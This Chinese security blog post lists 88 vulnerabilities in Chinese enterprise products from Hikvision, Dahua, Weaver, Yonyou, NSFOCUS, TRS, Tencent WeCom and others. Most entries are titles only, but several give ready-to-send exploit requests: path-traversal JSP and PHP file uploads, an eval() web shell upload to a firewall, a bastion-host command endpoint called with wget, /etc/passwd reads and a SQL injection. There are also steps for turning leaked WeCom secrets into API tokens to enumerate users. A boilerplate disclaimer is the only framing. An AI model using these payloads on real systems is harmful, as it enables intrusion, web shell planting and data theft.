【蛟龙出海】超级高保真，拓尔思6个 day

admin

138635
文章

114
评论

2023年8月13日19:39:18已关闭评论405 views字数 10113阅读33分42秒阅读模式

蛟龙出海

1.Alibaba Nacos默认 secret.key 配置不当导致认证绕过漏洞

2.Apache axis远程命令执行漏洞

3.Apache Struts2 远程代码执行漏洞

4.Dahua DSS 平台远程代码执行漏洞

5.Dahua Fastjson反序列化漏洞

6.Dahua 任意文件上传漏洞

7.Discuz 后台文件包含漏洞

8.Discuz! admincp_misc.php SQL注入漏洞

9.ewebeditor 文件上传漏洞

10.eYou print_addfreelog.php SQL注入漏洞

11.Fortinet SSL-VPN 缓冲区溢出漏洞(CVE-2023-27997)

12.H3C CVM任意文件上传漏洞

13.Hadoop未授权访问漏洞

14.Hikvision iSecure Center 文件上传漏洞

15.HiKVISION 综合安防管理平台 env 信息泄漏漏洞

/artemis-portal/artemis/env

16.HiKVISION 综合安防管理平台 files 任意文件上传漏洞

POST /center/api/files;.html HTTP/1.1Host: Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a

------WebKitFormBoundary9PggsiM755PLa54aContent-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"Content-Type: application/zip

<%out.print("test3");%>

------WebKitFormBoundary9PggsiM755PLa54a--

17.HiKVISION 综合安防管理平台 report 任意文件上传漏洞

WEB-INF/classes/com/hikvision/svm/controller/ExternalController.class

WEB-INF/classes/com/hikvision/svm/business/serivce/impl/ExternalBusinessServiceImpl.class

POST /svm/api/external/report HTTP/1.1Host: Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a

------WebKitFormBoundary9PggsiM755PLa54aContent-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"Content-Type: application/zip

<%out.print("test");%>

------WebKitFormBoundary9PggsiM755PLa54a--

路径

/portal/ui/login/..;/..;/new.jsp

18.HIKVISION 视频编码设备接入网关 showFile.php 任意文件下载漏洞

<?php          $file_name = $_GET['fileName'];          $file_path = '../../../log/'.$file_name;          $fp = fopen($file_path, "r");          while($line = fgets($fp)){            $line = nl2br(htmlentities($line, ENT_COMPAT, "utf-8"));            echo '<span style="font-size:16px">'.$line.'</span>';          }          fclose($fp);?>

/serverLog/showFile.php?fileName=../web/html/main.php

19.Jeesite目录穿越漏洞

20.JEEWMS权限绕过漏洞

21.PHP环境 XML外部实体注入漏洞

22.ShowDoc 任意文件上传漏洞

23.Smartbi 远程代码执行漏洞

24.ThinkPHP parseSql方法SQL注入漏洞

25.TRS WCM越权直接创建任意用户漏洞

26.UEditor任意文件上传漏洞

27.Weaver OA任意文件上传漏洞

28.Weaver OA远程代码执行漏洞

29.WPS Office远程代码执行漏洞

30.Yonyou NC NCMessageServlet 远程代码执行漏洞

31.用友移动管理系统uploadApk.do任意⽂件上传漏洞

32.万户ezOFFICE 任意文件上传漏洞

33.万户OA文件上传漏洞

34.亿赛通任意文件上传漏洞

35.亿邮Email Defender系统免登录DBA注入漏洞

36.华夏ERP-SQL注入漏洞

37.华天OA OAapp远程代码执行漏洞

38.大华远程代码执行漏洞

39.奇安信VPN远程代码执行漏洞

40.奇安信天擎远程代码执行漏洞

41.安恒明御运维审计与风险控制系统 xmlrpc.sock 任意用户添加漏洞

42.广联达 Linkworks GetIMDictionary SQL注入漏洞

43.广联达oa GetIMDictionary sql注入漏洞

44.广联达oa后台文件上传漏洞

45.广联达协同办公管理平台EmailAccountOrgUserService.asmx SQL注入漏洞

46.广联达协同办公管理平台GetAllUsersXml信息泄露漏洞

47.拓尔思TRS MAS 远程代码执行漏洞

48.拓尔思TRS SQL注入漏洞

49.拓尔思TRSWCM 后台GETSHELL代码执行漏洞

50.拓尔思TRS系统任意文件下载漏洞

51.拓尔思WAS代码注入漏洞

52.泛微 E-Cology 前台文件上传漏洞

53.泛微 E-Office ajax.php mobile_upload_save 任意文件上传漏洞

54.泛微 OA 任意文件读取漏洞

55.泛微-E-office 前台文件包含漏洞

56.泛微E-Office uploadify.php后台文件上传漏洞

POST /inc/jquery/uploadify/uploadify.php HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36Connection: closeContent-Length: 259Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4Accept-Encoding: gzip

--e64bdf16c554bbc109cecef6451c26a4Content-Disposition: form-data; name="Filedata"; filename="2TrZmO0y0SU34qUcUGHA8EXiDgN.php"Content-Type: image/jpeg

<?php echo "2TrZmO0y0SU34qUcUGHA8EXiDgN";unlink(__FILE__);?>

--e64bdf16c554bbc109cecef6451c26a4--

路径

/attachment/3466744850/xxx.php

57.泛微E-Office远程代码执行漏洞

58.泛微OA SQL注入漏洞

59.深信服应用交付管理系统 login 远程命令执行漏洞

60.用友 Erp U8任意文件上传漏洞

61.用友 NC Cloud jsinvoke 任意文件上传漏洞

62.用友移动管理系统 uploadApk.do 任意文件上传漏洞

63.用友GRP-U8 U8AppProxy任意文件上传漏洞

64.用友NC BeanShell远程代码执行漏洞

65.用友NC信息泄露漏洞

66.用友NC反序列化远程代码执行漏洞

67.用友移动管理系统uploadApk.do任意文件上传漏洞

68.红帆HF Office系统SQL注入漏洞

69.红帆OA任意文件上传漏洞

70.绿盟 NF 下一代防火墙任意文件上传漏洞

POST /api/v1/device/bugsInfo HTTP/1.1Content-Type: multipart/form-data; boundary=1d52ba2a11ad8a915eddab1a0e85acd9Host: 

--1d52ba2a11ad8a915eddab1a0e85acd9Content-Disposition: form-data; name="file"; filename="sess_82c13f359d0dd8f51c29d658a9c8ac71"

lang|s:52:"../../../../../../../../../../../../../../../../tmp/";

--1d52ba2a11ad8a915eddab1a0e85acd9--

分割线

POST /api/v1/device/bugsInfo HTTP/1.1Content-Type: multipart/form-data; boundary=4803b59d015026999b45993b1245f0efHost: 

--4803b59d015026999b45993b1245f0efContent-Disposition: form-data; name="file"; filename="compose.php"



<?php eval($_POST['cmd']);?>

--4803b59d015026999b45993b1245f0ef--

分割性

POST /api/v1/device/bugsInfo HTTP/1.1Content-Type: multipart/form-data; boundary=4803b59d015026999b45993b1245f0efHost: 

--4803b59d015026999b45993b1245f0efContent-Disposition: form-data; name="file"; filename="compose.php"



<?php eval($_POST['cmd']);?>

--4803b59d015026999b45993b1245f0ef--

分割线

POST /mail/include/header_main.php HTTP/1.1Content-Type: application/x-www-form-urlencodedCookie: PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71Host:

cmd=phpinfo();

71.绿盟 SAS 堡垒机 Exec 远程命令执行漏洞

<?php  require_once 'Nsc/Websvc/Response.php';class ExecController extends Cavy_Controller_Action {

  var $models = 'no';

  public function index() {    $command = $this->_params['cmd'];    $ret = 0;    $output = array();    exec($command,$output,$ret);    $result = new StdClass;    if ($ret != 0) {      $result->code = Nsc_Websvc_Response::EXEC_ERROR;      $result->text = "exec error";    }    else {      $result->code = Nsc_Websvc_Response::SUCCESS;      //      $result->text = implode("\n",$output);      $result->text = "WEBSVC OK";    }    $this->_render(array('result'=>$result),'/websvc/result');  }}?>

验证POC

/webconf/Exec/index?cmd=wget%20xxx.xxx.xxx

72.绿盟 SAS 堡垒机 GetFile 任意文件读取漏洞

/webconf/GetFile/index?path=../../../../../../../../../../../../../../etc/passwd

73.绿盟 SAS 堡垒机 local_user.php 任意用户登录漏洞

/api/virtual/home/status?cat=../../../../../../../../../../../../../../usr/local/nsfocus/web/apache2/www/local_user.php&method=login&user_account=admin

74.网御 ACM上网行为管理系统 bottomframe.cgi SQL注入漏洞

75.网神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞

76.网神远程代码执行漏洞

77.致远OA未授权上传文件漏洞

78.致远OA远程命令执行漏洞

79.蓝凌OA远程代码执行漏洞

80.通达OA SQL注入漏洞(CVE-2023-4166)

81.通达反序列化漏洞

82.金山远程代码执行漏洞

83.锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞

84.锐捷路由器操作系统命令注入漏洞(CVE-2023-3450)

85.腾讯企业微信 agentinfo 信息泄漏漏洞

/cgi-bin/gateway/agentinfo

#腾讯企业微信企业idqywx.corpid=xxxxxx#腾讯企业微信管理后台的应用密钥qywxapplet.appSecret=xxxxxxxxxxxx#腾讯企业微信管理后台绑定的小程序appidqywxapplet.appid=xxxxxxxxxx#腾讯ocr appid,演示环境使用了腾讯的ocr接口，行方不使用腾讯ocr接口则不必配置这里。配置成"-"即可ocr.tenc.appId=-#腾讯ocr秘钥ocr.tenc.secret=-#网录制视频时分段时长，分钟，如无需求不要改动此项duration=120

https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=xxxxxx&corpsecret=xxxxxx

eQq8YjcgxHOtk39Xu4dxxxxxxxxxxxxxxklx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

https://qyapi.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token=eQq8YjcgxHOtk39Xu4d30xxxxxxxxxxxxxxlx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

https://qyapi.weixin.qq.com/cgi-bin/department/list?access_token=eQq8YjcgxHOtk39Xu4dxxxxxxxxxxxxxx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

https://qyapi.weixin.qq.com/cgi-bin/user/simplelist?access_token=eQq8YjcgxHOtk39Xu4d30rJx0xxxxxxxxxxxxxxLE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&department_id=1&&fetch_child=1

https://qyapi.weixin.qq.com/cgi-bin/user/list?access_token=eQq8YjcgxHOtk39Xu4d3xxxxxxxxxxxxxxULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&department_id=1&fetch_child=1

https://qyapi.weixin.qq.com/cgi-bin/department/get?access_token=eQq8Yjcxxxxxxxxxxxxxxlx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&id=963233

https://qyapi.weixin.qq.com/cgi-bin/corp/get_join_qrcode?access_token=eQq8YjcgxHOtk3xxxxxxxxxxxxxxw6Owklx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

https://qyapi.weixin.qq.com/cgi-bin/checkin/getcorpcheckinoption?access_token=eQq8YjcgxHOtk39xxxxxxxxxxxxxxi-w6Owklx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

POST /cgi-bin/oa/vacation/getuservacationquota?access_token=eQq8YjcgxHOtk39Xu4xxxxxxxxxxxxxxlx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx HTTP/1.1Host: qyapi.weixin.qq.comConnection: closeX-Forwarded-For: 101.226.129.166Content-Type: application/jsonContent-Length: 31

{    "userid": "xxxxxx"}

qq.im.sdkappid=xxxxxxqq.im.privateKey=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxqq.im.identifier=xxxxxxqq.im.apiver=2qq.live.bizid=xxxxxx

eJw1zcEKgkAUheFXkVmH3hkxxxxxxxxxxxxxxv-gnDdJt3u9VRVZaoTpQBbaWFCqexxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

https://console.tim.qq.com/v4/group_open_http_svc/get_appid_group_list?sdkappid=1400571601&identifier=admin&usersig=eJw1zcEKgkAUxxxxxxxxxxxxxxqW1iiJlr07qXp9v-gnDdJt3u9VRVZaoTpQBbaWFCqexxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&random=99999999&contenttype=json

https://console.tim.qq.com/v4/openconfigsvr/getappinfo?sdkappid=1400571601&identifier=vc_system&usersig=eJw1zcEKgkAUheFXkVmxxxxxxxxxxxxxx07qXp9v-gnDdJt3u9VRVZaoTpQBbaWFCqexxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&random=99999999

https://console.tim.qq.com/v4/open_msg_svc/get_history?sdkappid=1400571601&identifier=vc_system&usersig=eJw1zcEKgkAUxxxxxxxxxxxxxxp9v-gnDdJt3u9VRVZaoTpQBbaWFCqexxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&random=99999999&contenttype=json

https://console.tim.qq.com/v4/ConfigSvc/GetIPList?sdkappid=1400571601&identifier=vc_system&usersig=eJw1zcEKgkAUheFXkVmH3hkxxxxxxxxxxxxxx9v-gnDdJt3u9VRVZaoTpQBbaWFCqexxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&random=99999999&contenttype=json

https://tcc.tencentcs.com/im-api-tool/index.html#/v4/group_open_http_svc/get_appid_group_list

86.大华智慧园区综合管理平台 video 任意文件上传漏洞

POST /publishing/publishing/material/file/video HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 804Content-Type: multipart/form-data; boundary=dd8f988919484abab3816881c55272a7Accept-Encoding: gzip, deflateConnection: close

--dd8f988919484abab3816881c55272a7Content-Disposition: form-data; name="Filedata"; filename="Test.jsp"

Test--dd8f988919484abab3816881c55272a7Content-Disposition: form-data; name="Submit"

submit--dd8f988919484abab3816881c55272a7--

路径

/publishingImg/VIDEO/230812152005170200.jsp

87.大华智慧园区综合管理平台 getFaceCapture SQL注入漏洞

/portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221%20and%201=updatexml(1,concat(0x7e,(select%20md5(123)),0x7e),1)--%22%7D/extend/%7B%7D

88.拓尔思 MAS 任意文件上传漏洞

阅读 10万+

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

【蛟龙出海】超级高保真，拓尔思6个 day

Oracle 2025年4月补丁日多个安全漏洞

在线论坛 4chan 在遭受重大黑客攻击后被迫关闭

Hunters International转型：放弃加密勒索，专攻数据窃取与敲诈

你用的PDF转换器是真是假？黑客高仿官网

美国CVE漏洞数据库面临资金枯竭危机

关于 Apache Tomcat 远程代码执行漏洞（CVE-2025-24813）的安全预警

信息安全漏洞周报（2025年第15期）

美国国土安全部终止资助，CVE漏洞数据库面临停摆危机

CVSS 10.0！Apache Roller 曝高危漏洞：密码修改后会话仍持续有效

美国资金断供？CVE 计划面临中断危机

在线咨询

微信